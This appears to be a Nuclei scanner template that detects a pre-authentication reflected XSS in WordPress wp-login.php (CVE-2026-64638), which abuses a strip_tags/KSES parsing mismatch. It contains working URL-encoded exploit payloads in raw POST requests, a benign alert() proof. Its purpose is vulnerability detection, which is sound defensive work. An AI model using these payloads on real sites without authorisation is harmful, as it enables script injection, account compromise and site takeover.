id: CVE-2026-64638 info: name: WordPress Core < 7.0.3 - Preauth Reflected XSS (XSS2Shell) author: FLX | Nick Vidovic (greenhats) severity: high description: | Pre-authentication reflected XSS in WordPress wp-login.php (CVE-2026-64638). The flaw exploits a parser differential between PHP strip_tags() and WordPress KSES. Tags with whitespace after < (e.g. "< area") survive strip_tags() but are normalized to valid HTML by KSES, leading to attacker-controlled DOM elements that trigger automatic JavaScript execution via user-profile.js. No user interaction required. Affects all WordPress versions < 7.0.3. impact: | Attackers can execute scripts leading to remote code execution via social engineering and victim interaction. remediation: | Upgrade WordPress to 7.0.3 or apply the backported security patch. reference: - https://pwn.ai/blog/xss2shell - https://thehackernews.com/2026/08/new-wordpress-pre-auth-xss-could-lead.html - https://nvd.nist.gov/vuln/detail/CVE-2026-64638 - https://wordpress.org/news/2026/08/wordpress-7-0-3-release/ classification: cve-id: CVE-2026-64638 epss-score: 0.31204 epss-percentile: 0.98161 cvss-score: 8.9 cwe-id: CWE-79 cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H metadata: max-request: 3 verified: true shodan-query: http.component:"wordpress" tags: cve,cve2026,wordpress,xss,rce,pwnai flow: http(1) && http(2) http: - method: GET path: - "{{BaseURL}}/wp-login.php" matchers: - type: word part: body words: - "loginform" - "wp-core-ui" condition: and internal: true - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log=%3C%20area%20id%3Dajaxurl%20href%3D%2F%3Frest_route%3D%2F%26_method%3DGET%26_jsonp%3Dalert%3E%3C%20div%20id%3Dcolor-picker%20class%3Dreset-pass-submit%3E%3C%20button%20class%3D%22wp-generate-pw%20color-option%22%3EX&pwd=x&wp-submit=Log+In - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log=%3C%20area%20id%3Dajaxurl%20href%3D%2F%3Frest_route%3D%2F%26_method%3DGET%26_envelope%3D1%26_jsonp%3Dalert%3E%3C%20div%20id%3Dcolor-picker%20class%3Dreset-pass-submit%3E%3C%20button%20class%3D%22wp-generate-pw%20color-option%22%3EX&pwd=x&wp-submit=Log+In stop-at-first-match: true matchers-condition: and matchers: - type: regex part: body regex: - "]*id=[\"']?ajaxurl" - type: status status: - 200 extractors: - type: regex part: body regex: - "]*id=[\"']?ajaxurl[^>]*>" # digest: 490a0046304402204dba387ad38b7e54e53cb2d05c7230537639fdc58a4a1139b20da870301b56c602201f74689198050c211238c1300685a59967b3ec33f81713757ecffe18ba60b4f0:922c64590222798bb761d5b6d8e72950